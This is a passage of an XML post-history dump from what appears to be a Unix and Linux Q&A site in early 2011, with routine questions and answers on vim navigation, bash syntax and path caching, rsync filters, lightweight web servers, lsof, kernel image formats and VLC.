this output:&#xD;&#xA;&#xD;&#xA;&gt; ioctl[SIOCSIWSCAN]: Device or resource busy  &#xD;&#xA;Failed to initiate AP scan.  &#xD;&#xA;ioctl[SIOCSIWSCAN]: Device or resource busy  &#xD;&#xA;Failed to initiate AP scan.  &#xD;&#xA;No network configuration found for the current AP  &#xD;&#xA;CTRL-EVENT-DISCONNECTED bssid=00:00:00:00:00:00 reason=0  &#xD;&#xA;ioctl[SIOCSIWSCAN]: Device or resource busy  &#xD;&#xA;Failed to initiate AP scan.  &#xD;&#xA;&#xD;&#xA;__Further edit__: The problem is significantly more likely to occur when the system is running on battery power, but can still occur while it is plugged in.&#xD;&#xA;&#xD;&#xA;__EDIT 3__: This is almost certainly related to power saving options. Paying more attention, this always occurs when either the system is running on battery power, when it has been left alone for a significant period of time, or when the lid is closed." />
  <row Id="12541" PostHistoryTypeId="2" PostId="5589" RevisionGUID="c886ac35-37c4-4097-88ee-d9ec5c44e65c" CreationDate="2011-01-09T12:55:20.393" UserId="131" Text="When editing files in vim, it is a small annoyance that when I move lines with j and k, it moves by file lines, rather than screen lines like other editors. With my own files, I can deal with this by automatically wrapping to a certain length in the vim options, but this is no good for files from others. Is there a vim command to either temporarily toggle the treatment of lines to screen lines, or alternate commands for moving that use screen lines?" />
  <row Id="12542" PostHistoryTypeId="1" PostId="5589" RevisionGUID="c886ac35-37c4-4097-88ee-d9ec5c44e65c" CreationDate="2011-01-09T12:55:20.393" UserId="131" Text="Is there a way to move by screen lines in vim?" />
  <row Id="12543" PostHistoryTypeId="3" PostId="5589" RevisionGUID="c886ac35-37c4-4097-88ee-d9ec5c44e65c" CreationDate="2011-01-09T12:55:20.393" UserId="131" Text="évimà" />
  <row Id="12544" PostHistoryTypeId="2" PostId="5590" RevisionGUID="721cb051-c20e-4e69-9018-e18aed0ea63e" CreationDate="2011-01-09T12:56:30.597" UserId="131" Text="This appears to be because of a misencoded file. Encoding with a different application than originally used did not have the same result." />
  <row Id="12545" PostHistoryTypeId="2" PostId="5591" RevisionGUID="50e3b2a9-86fe-422b-9fe2-806acabd6bbc" CreationDate="2011-01-09T13:06:10.607" UserId="885" Text="The standard construct to define a function is&#xD;&#xA;&#xD;&#xA;    run_backup () { … }&#xD;&#xA;&#xD;&#xA;In ksh, bash and zsh, but not in other shells such as dash, you can define a function with&#xD;&#xA;&#xD;&#xA;    function run_backup { … }&#xD;&#xA;&#xD;&#xA;What happened when you ran the script with dash was:&#xD;&#xA;&#xD;&#xA;* The shell executed the `$(run_backup)` line, naturally resulting in the first error message since there was no command called `run_backup`.&#xD;&#xA;* The shell later executed the `function run_backup`, naturally resulting in the second error message since there was no command called `function`.&#xD;&#xA;* Then the shell executed the braced block, which on its own is valid shell syntax.&#xD;&#xA;&#xD;&#xA;Note that as xenoterracide's comment indicates, since you have `#!/bin/bash`, the script would have been run by `bash` if you hadn't done something wrong.&#xD;&#xA;&#xD;&#xA;Even if you run the script with the correct shell, or (my recommendation) change `function` to the standard syntax (I don't see any other non-standard construct), you still need to move the function definition to before it's used.&#xD;&#xA;&#xD;&#xA;One more useful tip: when you're debugging a shell script, run `bash -x /path/to/script` (or `sh -x /path/to/script`, etc.). This prints a trace of each executed line. If you want to trace just part of a script, you can use **`set -x`** to enable traces and `set +x` to disable them. Zsh has better traces than the others, but it has incompatible syntax; you can tell zsh to expect sh syntax with the command `emulate sh 2&gt;/dev/null` (which has no effect in other shells).&#xD;&#xA;" />
  <row Id="12546" PostHistoryTypeId="5" PostId="5543" RevisionGUID="37876b41-781a-45be-b051-d04b948c76e7" CreationDate="2011-01-09T13:23:32.280" UserId="688" Comment="added 41 characters in body" Text="I see that Iceweasel 4 from http://mozilla.debian.net/ repository is broken (depends on non-existent version of SQLite). Is there a working repo out there?&#xD;&#xA;&#xD;&#xA;[__update__] I'm using Debian Squeeze, and the version of SQLite required by Iceweasel 4 hasn't yet migrated there (it's only in Debian Sid).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://okomestudio.net/biboroku/?p=1166&#xD;&#xA;" />
  <row Id="12549" PostHistoryTypeId="2" PostId="5592" RevisionGUID="a5ae284d-a1e0-4b03-a5a5-80a9564add59" CreationDate="2011-01-09T13:40:03.320" UserId="3069" Text="You can move around the screen lines by using `g` in front of the commands:&#xD;&#xA;&#xD;&#xA;    gj&#xD;&#xA;    gk&#xD;&#xA;    g$&#xD;&#xA;    g0&#xD;&#xA;    g^&#xD;&#xA;&#xD;&#xA;You can also map the original commands to the `g` commands like this:&#xD;&#xA;&#xD;&#xA;    :map j gj&#xD;&#xA;&#xD;&#xA;`j` moves by screen lines now." />
  <row Id="12550" PostHistoryTypeId="2" PostId="5593" RevisionGUID="9558618e-c075-48cd-b0a8-4997aea8b6b4" CreationDate="2011-01-09T13:53:51.033" UserId="3527" Text="It seems that the campus has a special configuration for its own domain.&lt;br/&gt;&#xD;&#xA;The UDP name resolution queries are probably not handled the same way when coming from the local private network (10.*.*.*) or from the public networks (Internet).&#xD;&#xA;&#xD;&#xA;Did you try &#xD;&#xA;&#xD;&#xA;      dig uwyo.edu&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;      host -a uwyo.edu&#xD;&#xA;&#xD;&#xA;Anyway, if you use the Google DNS servers, you are likely to get your problem fixed, since the NS is outside the campus on the public side.&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Change `/tmp/resolv.conf.auto` with&#xD;&#xA;&#xD;&#xA;    nameserver 8.8.8.8&#xD;&#xA;    nameserver 8.8.4.4&#xD;&#xA;    search resnet.uwyo.edu&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12551" PostHistoryTypeId="5" PostId="4305" RevisionGUID="d8e19e08-a31e-46ba-990d-a6e276b9a04f" CreationDate="2011-01-09T15:18:46.130" UserId="688" Comment="added 19 characters in body" Text="I'm running GNOME 2.30 (Squeeze) and have lost my volume (loudness) control applet. I can't find it in my &quot;Add to Panel&quot; window.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[__update__]&#xD;&#xA;&#xD;&#xA;Running `gnome-volume-control-applet` (thanks to [iamsid][2]) on the terminal gives:&#xD;&#xA;&#xD;&#xA;    ** (gnome-volume-control-applet:25497): WARNING **: Connection failed, reconnecting...&#xD;&#xA;&#xD;&#xA;Any idea what causes that?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/RtlDV.png&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4305/how-to-get-gnome-volume-applet-back/4308#4308" />
  <row Id="12552" PostHistoryTypeId="6" PostId="5573" RevisionGUID="4a786825-082b-4702-b323-e96466846a90" CreationDate="2011-01-09T15:35:45.407" UserId="29" Comment="since dash is part of the problem" Text="ébashàéubuntuàéshellàéshellöscriptàédashà" />
  <row Id="12553" PostHistoryTypeId="5" PostId="5574" RevisionGUID="8ab17d30-9bf8-4f1f-8ffa-217b7ee6df3e" CreationDate="2011-01-09T15:54:28.767" UserId="1207" Comment="added 1 characters in body" Text="I've since learned of __2__ ways to do this:&#xD;&#xA;&#xD;&#xA;* `View` menu -&gt; `Toolbars` -&gt; `Bookmarks Toolbar`&#xD;&#xA;* Right-click `Bookmarks` menu-&gt; `Bookmarks Toolbar`" />
  <row Id="12554" PostHistoryTypeId="5" PostId="5473" RevisionGUID="2ca520c4-0d50-456f-8751-6db0fbb20784" CreationDate="2011-01-09T16:00:08.107" UserId="1207" Comment="added 239 characters in body" Text="The reason your command isn't working is explained by the [manual page for rsync][1] (emphasis added):&#xD;&#xA;&#xD;&#xA;&gt; --delete&#xD;&#xA;&gt; &#xD;&#xA;This  tells  rsync to delete extraneous files from the receiving side (ones that aren’t on the sending side), but  only  for the directories  that  are  being synchronized.  **You must have asked rsync to send the whole directory (e.g. &quot;dir&quot; or &quot;dir/&quot;)&#xD;&#xA;&gt; without using  a  wildcard  for  the directory’s contents (e.g.&#xD;&#xA;&gt; &quot;dir/*&quot;) since the wildcard is expanded by the shell and rsync thus &#xD;&#xA;&gt; gets a  request  to  transfer individual files, not the files’&#xD;&#xA;&gt; parent directory.**  Files that are excluded from the transfer  are &#xD;&#xA;&gt; also excluded from being deleted unless you use the --delete-excluded option or mark the rules as only matching on  the  sending side&#xD;&#xA;&gt;               (see the include/exclude modifiers in the FILTER RULES&#xD;&#xA;&gt; section).&#xD;&#xA;&#xD;&#xA;Thus, when you run&#xD;&#xA;&#xD;&#xA;    $ rsync -d --delete SRC:{*.jpg,*.txt} DEST&#xD;&#xA;&#xD;&#xA;the unwanted files in DEST are not being deleted because you haven't actually asked for a directory to be synced, but just for a handful of specific files.  To get the results you desire, try something like this:&#xD;&#xA;&#xD;&#xA;    rsync -d --delete-excluded --include '*.jpg' --include '*.txt' --exclude '*' SRC/ DEST/&#xD;&#xA;&#xD;&#xA;Notice that the order of the include and exclude directives matter.  Essentially, each file is checked against the include or exclude patterns in the order that they appear.  Thus, files with .jpg or .txt extensions are synced since they match the &quot;included&quot; patterns before they match the excluded &quot;*&quot; pattern.  Everything else is excluded by the `--exclude '*'` pattern.  The `--delete-excluded` option ensures that even excluded files on the DEST side are deleted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/rsync.1.html" />
  <row Id="12555" PostHistoryTypeId="2" PostId="5594" RevisionGUID="1b56939e-70a9-4482-8095-5e2a8e03ccc4" CreationDate="2011-01-09T16:26:46.590" UserId="688" Text="In my set-up, I run ([as root][1]) `ln -s ~/share /var/www`. By doing this, anyone on the local network will access the *~/share* directory by pointing their browsers at http://hostname/share. I use `apache`, but I suspect that it's overkill (memory usage) for this simple use.&#xD;&#xA;&#xD;&#xA;What alternative light-weight web servers can I use for this? Will it also be tinker-free (in Debian, there's no extra set-up for `apache`, beyond installation)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="12556" PostHistoryTypeId="1" PostId="5594" RevisionGUID="1b56939e-70a9-4482-8095-5e2a8e03ccc4" CreationDate="2011-01-09T16:26:46.590" UserId="688" Text="Light-weight alternative to Apache" />
  <row Id="12557" PostHistoryTypeId="3" PostId="5594" RevisionGUID="1b56939e-70a9-4482-8095-5e2a8e03ccc4" CreationDate="2011-01-09T16:26:46.590" UserId="688" Text="éfileösharingàéapacheà" />
  <row Id="12558" PostHistoryTypeId="2" PostId="5595" RevisionGUID="f3247adb-7261-4aaa-ba42-ed473286b2de" CreationDate="2011-01-09T16:40:06.900" UserId="250" Text="You will have a long list for this. At my workplace we have [Cherokee][1] instead of Apache. Cherokee has a nice web admin interface that makes configuration really easy.&#xD;&#xA;&#xD;&#xA;I also heard about [Nginx][2] and [lighttpd][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cherokee-project.com/&#xD;&#xA;  [2]: http://www.nginx.org/&#xD;&#xA;  [3]: http://www.lighttpd.net/" />
  <row Id="12559" PostHistoryTypeId="2" PostId="5596" RevisionGUID="7c8d9a16-a31b-4fd7-b8f6-f5e221df5eac" CreationDate="2011-01-09T16:43:18.143" UserId="2780" Text="for temporary share, I have this shell script in my path:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;&#xD;&#xA;    PORT=${1:-8000}&#xD;&#xA;    DIR=${2:-\.}&#xD;&#xA;&#xD;&#xA;    cd &quot;$DIR&quot;&#xD;&#xA;    python -c &quot;import SimpleHTTPServer;SimpleHTTPServer.test()&quot; $PORT&#xD;&#xA;&#xD;&#xA;By default, shares the current directory on port 8000, syntax is `scriptname [&lt;port&gt; [&lt;dir&gt;]]`&#xD;&#xA;" />
  <row Id="12560" PostHistoryTypeId="2" PostId="5597" RevisionGUID="98d3b891-dedc-4054-9fad-062bd17a2bcb" CreationDate="2011-01-09T16:44:49.647" UserId="732" Text="You could try [thttpd][1].  It's very lightweight, uses very few resources.  It does have some slightly odd policies about file access as I recall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.acme.com/software/thttpd/" />
  <row Id="12561" PostHistoryTypeId="2" PostId="5598" RevisionGUID="abd214ec-7c0f-49fb-831b-d8a8b4803b68" CreationDate="2011-01-09T16:53:21.220" UserId="3530" Text="[nginx][1] (pronounced Engine-X) is a very popular lightweight alternative for serving static (and other) content.  It works out of the box on most distributions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nginx.org/" />
  <row Id="12562" PostHistoryTypeId="2" PostId="5599" RevisionGUID="d5411c67-ad0a-4687-bed0-afc1f68ea1e8" CreationDate="2011-01-09T16:55:03.017" UserId="885" Text="Debian packages that provide a web server [provide](http://www.debian.org/doc/debian-policy/ch-relationships.html#s-virtual) the `httpd` package. Just about anything in there that isn't a version of Apache is a lightweight web server.&#xD;&#xA;" />
  <row Id="12563" PostHistoryTypeId="2" PostId="5600" RevisionGUID="f2d5b573-4f60-4ba2-8cd1-986c32e884f8" CreationDate="2011-01-09T16:56:05.337" UserId="688" Text="Running `vlc /path/to/dvd-video.iso`, I'm getting:&#xD;&#xA;&#xD;&#xA;    [0x8787ccc] main decoder error: no suitable decoder module for fourcc `undf'. VLC probably does not support this sound or video format.&#xD;&#xA;&#xD;&#xA;When I extract the same file, it plays well.&#xD;&#xA;&#xD;&#xA;[**note**] The version of `vlc` is 1.1.3.&#xD;&#xA;" />
  <row Id="12564" PostHistoryTypeId="1" PostId="5600" RevisionGUID="f2d5b573-4f60-4ba2-8cd1-986c32e884f8" CreationDate="2011-01-09T16:56:05.337" UserId="688" Text="How to make VLC play iso file directly?" />
  <row Id="12565" PostHistoryTypeId="3" PostId="5600" RevisionGUID="f2d5b573-4f60-4ba2-8cd1-986c32e884f8" CreationDate="2011-01-09T16:56:05.337" UserId="688" Text="évlcà" />
  <row Id="12566" PostHistoryTypeId="2" PostId="5601" RevisionGUID="43d48146-1b60-4a32-b886-a144f774f662" CreationDate="2011-01-09T16:57:16.460" UserId="3531" Text="I constantly have many PDF files open.  These are usually downloaded using chrome and immediately opened using evince.&#xD;&#xA;&#xD;&#xA;I sometimes want to persist the state of all my open PDF files, so I could re-open the same group of documents at a later time.&#xD;&#xA;&#xD;&#xA;This mostly happens when I need to reboot and what to have the same set of documents re-opened, but sometimes I just want to keep a list of open documents for later.&#xD;&#xA;&#xD;&#xA;Is there a way to get the names of all open pdf files, from evince or any other program?&#xD;&#xA;or at least, is there a way of asking evince to re-open the same set of documents after a reboot?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12567" PostHistoryTypeId="1" PostId="5601" RevisionGUID="43d48146-1b60-4a32-b886-a144f774f662" CreationDate="2011-01-09T16:57:16.460" UserId="3531" Text="retrieving names of all open pdf files (in evince or otherwise)" />
  <row Id="12568" PostHistoryTypeId="3" PostId="5601" RevisionGUID="43d48146-1b60-4a32-b886-a144f774f662" CreationDate="2011-01-09T16:57:16.460" UserId="3531" Text="éterminalà" />
  <row Id="12569" PostHistoryTypeId="5" PostId="5569" RevisionGUID="0555c7f5-60bd-442a-a0cd-b35a2c41a929" CreationDate="2011-01-09T17:03:56.410" UserId="3519" Comment="added 4 characters in body; edited tags" Text="I have read a number of posts on the topic and it seems that for now it is not possible to use sane to read infrared data (second pass) with my Epson Perfection V700 scanner out of the box.&#xD;&#xA;&#xD;&#xA;But are there any options to get that working? Any known patch? Any configuration behind the scenes? Any undocumented feature?&#xD;&#xA;&#xD;&#xA;I just asked the question on Avasys' message board, but if any of you guys out there had relevant information, I would appreciate greatly.&#xD;&#xA;&#xD;&#xA;Of particular interest is the 6400dpi resolution in 16bits per channel to scan slides, so I need the infrared option on the `epkowa` driver as the `epson2` driver seems limited to 3200dpi anyway.&#xD;&#xA;&#xD;&#xA;As far as I can tell neither `epkowa` nor `epson2` offers the infrared scan, though it seems that it should be a simple option (`vuescan` actually can do the job, it does two scan passes, one for the RGB and one for the infrared, but I would much prefer to be able to do my scans from the command-line).&#xD;&#xA;&#xD;&#xA;Note that I don't mind if the infrared scan comes out as a separate image, I can manage to combine them as needed.&#xD;&#xA;&#xD;&#xA;Also of interest and not included in the current `sane-epkowa` driver are:  &#xD;&#xA;1/ scans with multiple samples  &#xD;&#xA;2/ confirmation that the `scanimage` `-brightness` setting actually changes the CCD exposure time (rather than performing software image processing)" />
  <row Id="12570" PostHistoryTypeId="6" PostId="5569" RevisionGUID="0555c7f5-60bd-442a-a0cd-b35a2c41a929" CreationDate="2011-01-09T17:03:56.410" UserId="3519" Comment="added 4 characters in body; edited tags" Text="édriversàésaneàéscannerà" />
  <row Id="12571" PostHistoryTypeId="2" PostId="5602" RevisionGUID="f1c5d116-3023-4d28-b4ac-aede2fce8439" CreationDate="2011-01-09T17:36:26.690" UserId="3069" Text="**vmlinux**&#xD;&#xA;&#xD;&#xA;This is the Linux kernel in an statically linked executable file format. Generally, you don't have to worry about this file, it's just a intermediate step in the boot procedure.  &#xD;&#xA;The raw vmlinux file may have usage for debugging purposes.&#xD;&#xA;&#xD;&#xA;**vmlinux.bin**&#xD;&#xA;&#xD;&#xA;The same as vmlinux, but in a binary file format.&#xD;&#xA;&#xD;&#xA;**vmlinuz**&#xD;&#xA;&#xD;&#xA;The vmlinux file usually gets compressed with `zlib`. Since 2.6.30 `LZMA` and `bzip2` are also available. By adding further boot and decompression functionalities to vmlinuz, the image can be used to boot a system with the vmlinux kernel.&#xD;&#xA;&#xD;&#xA;The compression of vmlinux can occur with zImage or bzImage. &#xD;&#xA;The function `decompress_kernel()` handles the decompression of vmlinuz at bootup, a message indicates this:&#xD;&#xA;&#xD;&#xA;    Decompressing Linux... done&#xD;&#xA;    Booting the kernel.&#xD;&#xA;&#xD;&#xA;**zImage** (`make zImage`)&#xD;&#xA;&#xD;&#xA;This is the old format for small kernels (compressed, below 512KB). At boot, this image gets loaded low in memory (the first 640KB of the RAM).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**bzImage** (`make bzImage`)&#xD;&#xA;&#xD;&#xA;The big zImage (this has nothing to do with `bzip2`), was created while the kernel grew and handles bigger images (compressed, over 512KB). The image gets loaded high in memory (over 1MB of the RAM).  &#xD;&#xA;As today's kernels are way over 512KB, this is mostly the preferred way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;An inspection on Ubuntu 10.10 shows:&#xD;&#xA;&#xD;&#xA;    ls -lh /boot/vmlinuz-$(uname -r)&#xD;&#xA;    -rw-r--r-- 1 root root 4.1M 2010-11-24 12:21 /boot/vmlinuz-2.6.35-23-generic&#xD;&#xA;&#xD;&#xA;    file /boot/vmlinuz-$(uname -r)&#xD;&#xA;    /boot/vmlinuz-2.6.35-23-generic: Linux kernel x86 boot executable bzImage, version 2.6.35-23-generic (buildd@rosea, RO-rootFS, root_dev 0x6801, swap_dev 0x4, Normal VGA&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12572" PostHistoryTypeId="2" PostId="5603" RevisionGUID="d07568f1-b3d5-43e2-9dcd-ed81576e3aa6" CreationDate="2011-01-09T17:36:46.800" UserId="1207" Text="Under the assumption that the PDFs you are viewing have the extension .pdf, the following could work to get you a list of open PDFs:&#xD;&#xA;&#xD;&#xA;    $ lsof | grep &quot;.pdf$&quot;&#xD;&#xA;&#xD;&#xA;If you only ever use Evince, see Gilles' similar answer. On my machine (with a few pdfs open) displayed output as follows&#xD;&#xA;       &#xD;&#xA;    evince    6267     myuser   14u      REG    252,0   363755    7077955 /tmp/SM.pdf&#xD;&#xA;&#xD;&#xA;To just get the filenames, we can use `awk`:&#xD;&#xA;&#xD;&#xA;    $ lsof | grep &quot;.pdf$&quot; | awk '{print $9}'&#xD;&#xA;&#xD;&#xA;or even better,&#xD;&#xA;&#xD;&#xA;    $ lsof | awk '/.pdf$/ {print $9}'&#xD;&#xA;&#xD;&#xA;We can save these results in a file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ lsof | awk '/.pdf$/ {print $9}' &gt; openpdfs&#xD;&#xA;&#xD;&#xA;And later, to restore them:&#xD;&#xA;&#xD;&#xA;    $ xargs -a openpdfs evince&#xD;&#xA;&#xD;&#xA;To make this happen automatically, you can use whatever mechanisms your desktop environment provides to run the &quot;save&quot; command on exit and the &quot;open&quot; command on login.  A bit more robustness can be added by ensuring that the pdf's returned by `lsof` are being opened by your user.  One advantage of this method is that it should work for any pdf viewer that takes command-line arguments.  One disadvantage is that it depends on file names; however, with a bit of poking, the requirement of knowing the filename extension could probably also be removed.&#xD;&#xA;" />
  <row Id="12573" PostHistoryTypeId="2" PostId="5604" RevisionGUID="3f566b09-f15f-4073-92fb-864755e8ba34" CreationDate="2011-01-09T17:39:01.267" UserId="885" Text="`lsof` lists the files open by a process. Evince does keep the files open. If you're the only user using evince, under Linux, here's how to see what files it's using:&#xD;&#xA;&#xD;&#xA;    lsof -p $(pidof evince)&#xD;&#xA;&#xD;&#xA;To automate this, you'll want to keep only the open regular files of the evince process. Here's a script that outputs the file names.&#xD;&#xA;&#xD;&#xA;    lsof -n -d0-9999 -Fpctn |  # parseable output, pid/command/type/name, only open files&#xD;&#xA;    sed 's/^p/\np/' |  # split each process into a paragraph&#xD;&#xA;    awk -vRS= '/\ncevince\n/ {print}' |  # retain only paragraph(s) with command=&quot;evince&quot;&#xD;&#xA;    sed 's/^t/\nt/' |  # split each file into a paragraph&#xD;&#xA;    awk -vRS= '/^tREG\n/ {print substr($0, 7);}'  # retain only regular files&#xD;&#xA;" />
  <row Id="12574" PostHistoryTypeId="6" PostId="5601" RevisionGUID="b47594ac-fff5-48cc-9eb6-de7e4775737b" CreationDate="2011-01-09T17:40:14.967" UserId="885" Comment="edited tags" Text="éprocessàéscriptingàéopenöfilesà" />
  <row Id="12575" PostHistoryTypeId="6" PostId="5601" RevisionGUID="1ee79c65-a94f-43db-a0f1-b74287f3511e" CreationDate="2011-01-09T17:40:26.657" UserId="885" Comment="edited tags" Text="éprocessàéscriptingàéopenöfilesàéevinceà" />
  <row Id="12576" PostHistoryTypeId="6" PostId="17" RevisionGUID="602bd90c-78ff-430d-acf3-15862c7db301" CreationDate="2011-01-09T17:44:20.687" UserId="885" Comment="edited tags" Text="énetworkingàéprocessàéfreebsdàéopenöfilesà" />
  <row Id="12577" PostHistoryTypeId="6" PostId="3109" RevisionGUID="061e6f60-695a-4a13-877b-406ee97554c9" CreationDate="2011-01-09T17:44:30.623" UserId="885" Comment="edited tags" Text="éprocessàéopenöfilesàéumountà" />
  <row Id="12578" PostHistoryTypeId="6" PostId="5277" RevisionGUID="8dc83c72-4bf7-42dc-8dc9-4d8254343e4c" CreationDate="2011-01-09T17:44:48.787" UserId="885" Comment="edited tags" Text="éshellàénetworkingàéprocessàéopenöfilesà" />
  <row Id="12579" PostHistoryTypeId="6" PostId="5542" RevisionGUID="6a8558ff-1e8c-47d8-b3ce-f3448edec83d" CreationDate="2011-01-09T17:44:58.100" UserId="885" Comment="edited tags" Text="énetworkingàéprocessàéopenöfilesà" />
  <row Id="12580" PostHistoryTypeId="6" PostId="3118" RevisionGUID="afb12d7e-bd40-4b27-a30e-e710ddb12d4f" CreationDate="2011-01-09T17:45:07.777" UserId="885" Comment="edited tags" Text="éfilesàédataörecoveryàéopenöfilesàéflashà" />
  <row Id="12582" PostHistoryTypeId="2" PostId="5605" RevisionGUID="f22e73d7-a2ee-4f73-8d36-48925890d8fd" CreationDate="2011-01-09T17:56:15.777" UserId="688" Text="If you use GNOME, unmounting via Nautilus will display a message stating which process is still using the drive, and the file it's using.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/uW1KM.png" />
  <row Id="12586" PostHistoryTypeId="5" PostId="5600" RevisionGUID="51a7b1b3-aa25-40d0-bcee-f3d993c293e1" CreationDate="2011-01-09T19:13:39.657" UserId="688" Comment="added 48 characters in body" Text="Running `vlc /path/to/dvd-video.iso`, I'm getting:&#xD;&#xA;&#xD;&#xA;    [0x8787ccc] main decoder error: no suitable decoder module for fourcc `undf'. VLC probably does not support this sound or video format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**notes**:&#xD;&#xA;&#xD;&#xA;* The version of `vlc` is 1.1.3.&#xD;&#xA;* The DVD plays well when not in iso format (when it's normal files on the filesystem).&#xD;&#xA;" />
  <row Id="12587" PostHistoryTypeId="2" PostId="5607" RevisionGUID="37cc5c7d-3ae7-47f1-a8af-3425f57a8690" CreationDate="2011-01-09T21:56:22.403" UserId="3309" Text="Mount it as a loopback first.&#xD;&#xA;&#xD;&#xA;    mount -o loop,ro -t iso9660 /path/to/file.iso /path/to/mountpoint/&#xD;&#xA;" />
  <row Id="12588" PostHistoryTypeId="5" PostId="5607" RevisionGUID="446fb73f-d00e-4c6b-94fb-b7d8d24b0c86" CreationDate="2011-01-09T22:10:36.907" UserId="3309" Comment="added 45 characters in body" Text="Mount it as a loopback first.&#xD;&#xA;&#xD;&#xA;    mount -o loop,ro -t iso9660 /path/to/file.iso /path/to/mountpoint/&#xD;&#xA;&#xD;&#xA;Or try this...&#xD;&#xA;&#xD;&#xA;    vlc dvd://path/to/iso" />
  <row Id="12589" PostHistoryTypeId="5" PostId="5574" RevisionGUID="bf61babe-f4ba-4650-904b-977307eccbc1" CreationDate="2011-01-09T22:31:19.910" UserId="688" Comment="deleted 5 characters in body" Text="I've since learned of __2__ ways to do this:&#xD;&#xA;&#xD;&#xA;* `View` menu -&gt; `Toolbars` -&gt; `Bookmarks Toolbar`&#xD;&#xA;* Right-click on toolbar -&gt; `Bookmarks Toolbar`" />
  <row Id="12590" PostHistoryTypeId="2" PostId="5608" RevisionGUID="7aeae2bd-aeaf-409e-84ff-7999aba8826b" CreationDate="2011-01-09T22:47:48.653" UserId="2974" Text="Wild guess: Inappropriate [wildcard DNS?](http://en.wikipedia.org/wiki/Wildcard_DNS_record) In the root hints?&#xD;&#xA;&#xD;&#xA;    * 3600 IN A 192.168.1.251" />
  <row Id="12591" PostHistoryTypeId="2" PostId="5609" RevisionGUID="c5fe1a9c-fc7c-48c2-9949-da70daf7568d" CreationDate="2011-01-10T01:50:03.523" UserId="3535" Text="When I execute a program without specifying the full path to the executable, and Bash must search the directories in `$PATH` to find the binary, it seems that Bash remembers the path in some sort of cache. For example, I installed a build of Subversion from source to `/usr/local`, then typed `svnsync help` at the Bash prompt. Bash located the binary `/usr/local/bin/svnsync` for &quot;svnsync&quot; and executed it. Then when I deleted the installation of Subversion in `/usr/local` and re-ran `svnsync help`, Bash responds:&#xD;&#xA;&#xD;&#xA;    bash: /usr/local/bin/svnsync: No such file or directory&#xD;&#xA;&#xD;&#xA;But, when I start a new instance of Bash, it finds and executes `/usr/bin/svnsync`.&#xD;&#xA;&#xD;&#xA;How do I clear this cache?" />
  <row Id="12592" PostHistoryTypeId="1" PostId="5609" RevisionGUID="c5fe1a9c-fc7c-48c2-9949-da70daf7568d" CreationDate="2011-01-10T01:50:03.523" UserId="3535" Text="How do I clear Bash's cache of paths to executables?" />
  <row Id="12593" PostHistoryTypeId="3" PostId="5609" RevisionGUID="c5fe1a9c-fc7c-48c2-9949-da70daf7568d" CreationDate="2011-01-10T01:50:03.523" UserId="3535" Text="élinuxàébashàédebianàécacheà" />
  <row Id="12594" PostHistoryTypeId="2" PostId="5610" RevisionGUID="6597cf8c-03d0-4b02-9cf7-94dbee28fe59" CreationDate="2011-01-10T01:59:34.267" UserId="2729" Text="bash does cache the full path to a command.&#xD;&#xA;&#xD;&#xA;To clear the entire cache:&#xD;&#xA;&#xD;&#xA;    hash -r&#xD;&#xA;&#xD;&#xA;Or just one entry:&#xD;&#xA;&#xD;&#xA;    hash -r svnsync&#xD;&#xA;&#xD;&#xA;More info in `help hash` and `man bash`  ." />
  <row Id="12595" PostHistoryTypeId="2" PostId="5611" RevisionGUID="219225ea-4199-49b3-aa68-37bff2a8781f" CreationDate="2011-01-10T04:21:45.720" UserId="3539" Text="Found that System.map file contains address of symbols. Whther it invlolves system calls? Read that it is only updated when new kernel is newly compiled.&#xD;&#xA;&#xD;&#xA;So does that means that except for a new kernel compilation, these are always stored in the same address?" />
  <row Id="12596" PostHistoryTypeId="1" PostId="5611" RevisionGUID="219225ea-4199-49b3-aa68-37bff2a8781f" CreationDate="2011-01-10T04:21:45.720" UserId="3539" Text="System.map file updation" />
  <row Id="12597" PostHistoryTypeId="3" PostId="5611" RevisionGUID="219225ea-4199-49b3-aa68-37bff2a8781f" CreationDate="2011-01-10T04:21:45.720" UserId="3539" Text="élinuxàébootàémemoryà" />
  <row Id="12598" PostHistoryTypeId="2" PostId="5612" RevisionGUID="1177e0f6-1bc8-4441-bcf1-7657130164d8" CreationDate="2011-01-10T05:01:02.503" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;May i know , the authors of pure linux kernel from the scratch which is integrated with GNU tools and formed the full GNU/Linux Operating system in 1990's?&#xD;&#xA;&#xD;&#xA;I have read some wiki articles but i haven't got any clear cut idea on this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="12599" PostHistoryTypeId="1" PostId="5612" RevisionGUID="1177e0f6-1bc8-4441-bcf1-7657130164d8" CreationDate="2011-01-10T05:01:02.503" UserId="2269" Text="Who written the &quot;Linux kernel&quot;  from the scratch (Linus Torvalds and his team) ?" />
  <row Id="12600" PostHistoryTypeId="3" PostId="5612" RevisionGUID="1177e0f6-1bc8-4441-bcf1-7657130164d8" CreationDate="2011-01-10T05:01:02.503" UserId="2269" Text="élinuxà" />
